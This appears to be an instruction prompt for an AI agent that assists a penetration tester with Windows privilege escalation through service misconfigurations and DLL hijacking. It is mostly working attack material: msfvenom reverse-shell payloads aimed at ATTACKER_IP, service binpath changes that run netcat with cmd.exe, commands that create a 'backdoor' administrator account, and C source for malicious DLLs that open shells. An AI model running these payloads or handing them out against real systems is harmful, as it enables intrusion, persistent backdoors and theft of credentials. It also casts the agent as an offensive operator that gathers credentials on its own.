Windows Service Dll Abuse

Windows Service Misconfiguration & DLL Hijacking

You are helping a penetration tester escalate privileges on a Windows system by exploiting service misconfigurations and DLL hijacking. All testing is under explicit written authorization.

Engagement Logging

Check for ./engagement/ directory. If absent, proceed without logging.

When an engagement directory exists:

• Print [windows-service-dll-abuse] Activated → <target> to the screen on activation.
• Evidence → save significant output to engagement/evidence/ with descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).

State Management

Call get_state_summary() from the state MCP server to read current engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Prerequisites

• Shell access on a Windows system
• Tools: accesschk.exe (Sysinternals), sc.exe (built-in), icacls (built-in)
• For DLL hijacking: ability to write files to target directories
• For DLL compilation: mingw cross-compiler (on attacker machine)

Step 1: Enumerate Services

Get a full picture of the service landscape before checking for specific vulnerabilities.

List all services:

cmdCopy code
sc query state= all
wmic service list brief
net start
tasklist /SVC

powershellCopy code
Get-Service | Select-Object Name, Status, StartType | Sort-Object StartType
Get-WmiObject Win32_Service | Select-Object Name, StartMode, PathName, StartName | Where-Object {$_.PathName -notlike "C:\Windows\System32\svchost*"} | Format-Table -AutoSize

Non-default services (most likely to be misconfigured):

cmdCopy code
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\"

Service account context (what user does each service run as):

cmdCopy code
wmic service get name,startname,pathname | findstr /i /v "LocalSystem"

Step 2: Unquoted Service Paths

When a service path contains spaces and isn't quoted, Windows tries intermediate paths. For C:\Program Files\Some App\service.exe, Windows tries:

1. C:\Program.exe
2. C:\Program Files\Some.exe
3. C:\Program Files\Some App\service.exe

Enumerate unquoted paths:

cmdCopy code
wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows" | findstr /i /v '\"'

powershellCopy code
# PowerUp
Get-ServiceUnquoted -Verbose

# Manual
Get-WmiObject Win32_Service | Where-Object {$_.PathName -notlike '"*' -and $_.PathName -like '* *' -and $_.PathName -notlike 'C:\Windows\*'} | Select-Object Name, PathName, StartMode

Exploitation:

1. Verify write access to one of the intermediate directories:

cmdCopy code
icacls "C:\Program Files\Some App\"
accesschk.exe -dqv "C:\Program Files\Some App\"

2. Place a binary at the hijacked path:

cmdCopy code
copy C:\temp\payload.exe "C:\Program Files\Some.exe"

3. Restart the service:

cmdCopy code
sc stop <service_name>
sc start <service_name>

Or wait for system reboot if the service is set to auto-start.

Generate payload:

bashCopy code
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe -o payload.exe

Step 3: Weak Service Permissions

If a service's ACL allows non-admin users to modify it, you can change the binary path to execute arbitrary commands.

Enumerate modifiable services:

cmdCopy code
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula
accesschk.exe -uwcqv "Everyone" * /accepteula

Vulnerable permissions:

• SERVICE_ALL_ACCESS — full control
• SERVICE_CHANGE_CONFIG — can modify binpath
• WRITE_DAC — can modify service DACL
• WRITE_OWNER — can take ownership

Check specific service:

cmdCopy code
accesschk.exe -ucqv <service_name> /accepteula
sc qc <service_name>
sc sdshow <service_name>

Exploitation — change service binary path:

cmdCopy code
sc stop <service_name>
sc config <service_name> binpath= "C:\temp\nc.exe -nv ATTACKER_IP 4444 -e C:\WINDOWS\System32\cmd.exe"
sc start <service_name>

Alternative — add local admin user:

cmdCopy code
sc config <service_name> binpath= "net user backdoor P@ssw0rd123 /add"
sc start <service_name>
sc config <service_name> binpath= "net localgroup administrators backdoor /add"
sc start <service_name>

PowerUp automated exploit:

powershellCopy code
Invoke-ServiceAbuse -Name <service_name> -Command "C:\temp\nc.exe ATTACKER_IP 4444 -e cmd.exe"

Writable service binary (direct replacement):

cmdCopy code
icacls "C:\Program Files\VulnApp\service.exe"

If (M) or (F) for your user/group, replace the binary directly:

cmdCopy code
move "C:\Program Files\VulnApp\service.exe" "C:\Program Files\VulnApp\service.exe.bak"
copy C:\temp\payload.exe "C:\Program Files\VulnApp\service.exe"
sc stop <service_name>
sc start <service_name>

Service registry ACL abuse:

powershellCopy code
get-acl HKLM:\System\CurrentControlSet\services\<service_name> | Format-List *

If writable, modify ImagePath directly:

cmdCopy code
reg add "HKLM\SYSTEM\CurrentControlSet\Services\<service_name>" /v ImagePath /t REG_EXPAND_SZ /d "C:\temp\payload.exe" /f
sc stop <service_name>
sc start <service_name>

Step 4: Service Triggers

Some services can be started by low-privilege users via trigger events, even without SERVICE_START permission.

Enumerate triggers:

cmdCopy code
sc qtriggerinfo <service_name>

Common trigger types and how to fire them:

Named Pipe trigger (connect to start service):

powershellCopy code
$pipe = New-Object System.IO.Pipes.NamedPipeClientStream('.', 'PipeNameFromTrigger', [System.IO.Pipes.PipeDirection]::InOut)
try { $pipe.Connect(1000) } catch {}
$pipe.Dispose()

ETW trigger (e.g., WebClient service):

cmdCopy code
sc qtriggerinfo webclient
# Start WebClient by touching a WebDAV path
pushd \\attacker.com\share
popd

RPC endpoint trigger:

bashCopy code
rpcdump.py @127.0.0.1 -uuid <INTERFACE-UUID-FROM-TRIGGER>

Group Policy trigger:

cmdCopy code
gpupdate /force

Combine with other vectors: If you can write a DLL to a service's search path but can't start the service, fire its trigger to load your DLL.

Step 5: DLL Hijacking — Enumeration

DLL hijacking exploits the Windows DLL search order: when a process loads a DLL by name (not absolute path), Windows searches directories in order.

DLL Search Order (SafeDllSearchMode enabled — default)

1. Directory from which the application loaded
2. C:\Windows\System32
3. C:\Windows\System (16-bit legacy)
4. C:\Windows
5. Current working directory
6. Directories in the PATH environment variable

KnownDLLs (registered in HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs) always load from System32 — cannot be hijacked.

Find Missing DLLs with Process Monitor

1. Open Process Monitor (Procmon.exe)
2. Add filters:
   • Process Name → contains → <target_process>
   • Result → is → NAME NOT FOUND
   • Path → ends with → .dll
3. Start capture, trigger the target process
4. Look for DLL load attempts with NAME NOT FOUND in writable directories

Find Writable PATH Directories

cmdCopy code
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

powershellCopy code
$env:PATH -split ';' | ForEach-Object { if(Test-Path $_) { $acl = (icacls $_ 2>$null); if($acl -match '(F|M|W)') { Write-Host "$_ : $acl" } } }

PowerUp DLL Hijacking Checks

powershellCopy code
Find-PathDLLHijack
Find-ProcessDLLHijack

Check Application Import Table

cmdCopy code
dumpbin /imports "C:\path\to\application.exe"

Look for DLLs not in System32 or KnownDLLs — these are candidates for hijacking.

Step 6: DLL Hijacking — Exploitation

Basic DLL Payload

cCopy code
// Compile: x86_64-w64-mingw32-gcc -shared -o hijack.dll payload.c
// For x86: i686-w64-mingw32-gcc -shared -o hijack.dll payload.c
#include <windows.h>

BOOL WINAPI DllMain(HINSTANCE hDll, DWORD dwReason, LPVOID lpReserved) {
    if (dwReason == DLL_PROCESS_ATTACH) {
        system("C:\\temp\\nc.exe ATTACKER_IP 4444 -e cmd.exe");
    }
    return TRUE;
}

DLL with Local Admin Creation

cCopy code
// x86_64-w64-mingw32-gcc -shared -o hijack.dll payload.c
#include <windows.h>

BOOL WINAPI DllMain(HINSTANCE hDll, DWORD dwReason, LPVOID lpReserved) {
    if (dwReason == DLL_PROCESS_ATTACH) {
        system("cmd.exe /c net user backdoor P@ssw0rd123 /add && net localgroup administrators backdoor /add");
        ExitProcess(0);
    }
    return TRUE;
}

DLL with Thread (Non-Blocking)

cCopy code
// x86_64-w64-mingw32-gcc -shared -lws2_32 -o hijack.dll payload.c
#include <windows.h>

void Payload() {
    system("C:\\temp\\nc.exe ATTACKER_IP 4444 -e cmd.exe");
}

BOOL WINAPI DllMain(HINSTANCE hDll, DWORD dwReason, LPVOID lpReserved) {
    if (dwReason == DLL_PROCESS_ATTACH) {
        CreateThread(0, 0, (LPTHREAD_START_ROUTINE)Payload, 0, 0, 0);
    }
    return TRUE;
}

DLL via MSFVenom

bashCopy code
# x64 reverse shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f dll -o hijack.dll

# x86 reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f dll -o hijack.dll

# Add user
msfvenom -p windows/adduser USER=backdoor PASS=P@ssw0rd123 -f dll -o hijack.dll

DLL Proxying (Transparent Hijack)

Forward legitimate exports to the real DLL while executing payload. Use when the application validates DLL exports.

Tools:

• DLLirant — generates proxy DLL source from legitimate DLL
• Spartacus — automated DLL hijacking helper

Workflow:

1. Identify target DLL loaded by privileged process
2. Generate proxy source with DLLirant/Spartacus
3. Add payload to DllMain or DllRegisterServer
4. Compile proxy DLL
5. Rename real DLL (e.g., legit.dll → legit_orig.dll)
6. Drop proxy as legit.dll — it forwards calls to legit_orig.dll

COM DLL Hijacking

COM objects load DLLs from paths registered in the registry (InprocServer32).

cmdCopy code
reg query "HKCU\Software\Classes\CLSID" /s /f "InprocServer32"

If a COM object's InprocServer32 points to a missing or writable DLL path, replace it with a malicious DLL. COM objects loaded by scheduled tasks or services run as the task/service account.

Write to HKCU (no admin needed):

cmdCopy code
reg add "HKCU\Software\Classes\CLSID\{TARGET-CLSID}\InprocServer32" /ve /d "C:\temp\hijack.dll" /f
reg add "HKCU\Software\Classes\CLSID\{TARGET-CLSID}\InprocServer32" /v ThreadingModel /d "Both" /f

Writable System PATH Directory

If you can write to a directory in the system PATH that's searched before the legitimate DLL location:

cmdCopy code
# Check which PATH directories are writable
accesschk.exe -dqv "C:\Python27"
icacls "C:\Python27"

Drop a DLL with the same name as one loaded by a SYSTEM process. The next time the process loads the DLL, it will find yours first.

Exploitation Workflow

1. Identify target (missing DLL or writable DLL directory for privileged process)
2. Compile appropriate DLL payload (match architecture: x86 vs x64)
3. Drop DLL to target location
4. Trigger the DLL load:
   • Restart the service: sc stop <svc> && sc start <svc>
   • Fire service trigger (Step 4)
   • Wait for scheduled task / system reboot
   • Force GPUpdate: gpupdate /force
5. Verify escalation: check reverse shell or net localgroup administrators

Step 7: Auto-Updater and IPC Abuse

Third-party software with local update mechanisms can be exploited for SYSTEM code execution.

Common patterns:

• Localhost HTTP listeners (check netstat -ano | findstr LISTENING)
• Named pipes with weak ACLs
• IPC channels accepting commands from any local user

Enumeration:

cmdCopy code
netstat -ano | findstr LISTENING | findstr 127.0.0.1

Look for non-standard ports. Research the application associated with each PID:

cmdCopy code
tasklist /FI "PID eq <pid>"

Exploitation approach:

1. Identify the IPC protocol (HTTP, named pipe, TCP socket)
2. Research the application for known CVEs or command injection
3. Test for origin validation bypass (e.g., Host: trusted.vendor.com.attacker.tld)
4. Forge enrollment/update commands to trigger malicious payload installation

Escalate for specific vendor CVEs and IPC exploitation techniques.

Step 8: Escalate or Pivot

Troubleshooting

"Access denied" when modifying service

Your user doesn't have SERVICE_CHANGE_CONFIG on this service. Check with accesschk.exe -ucqv <service_name>. Try other services or different vectors.

Service won't restart after modification

Some services fail to start with modified binpath (wrong return code, crash). Use binpath= "cmd.exe /c <payload>" or create a wrapper that executes the payload then exits cleanly.

DLL architecture mismatch

32-bit process loads 32-bit DLLs, 64-bit loads 64-bit. Check with tasklist /v or file <binary>. Compile with matching mingw: i686-w64-mingw32-gcc (x86) vs x86_64-w64-mingw32-gcc (x64).

DLL is in KnownDLLs — can't hijack

DLLs registered in HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs always load from System32. Target a different DLL loaded by the same process, or use DLL side-loading (place signed EXE + malicious DLL in writable directory).

Process Monitor not available

Use PowerUp's Find-PathDLLHijack and Find-ProcessDLLHijack as alternatives. Or check PATH directory permissions manually and cross-reference with service binary imports (dumpbin /imports).

Service runs but payload doesn't execute

DLL's DllMain may not be reached if the application loads it via LoadLibraryEx with LOAD_LIBRARY_AS_DATAFILE. In that case, the DLL must export a function the application calls — use DLL proxying to ensure export compatibility.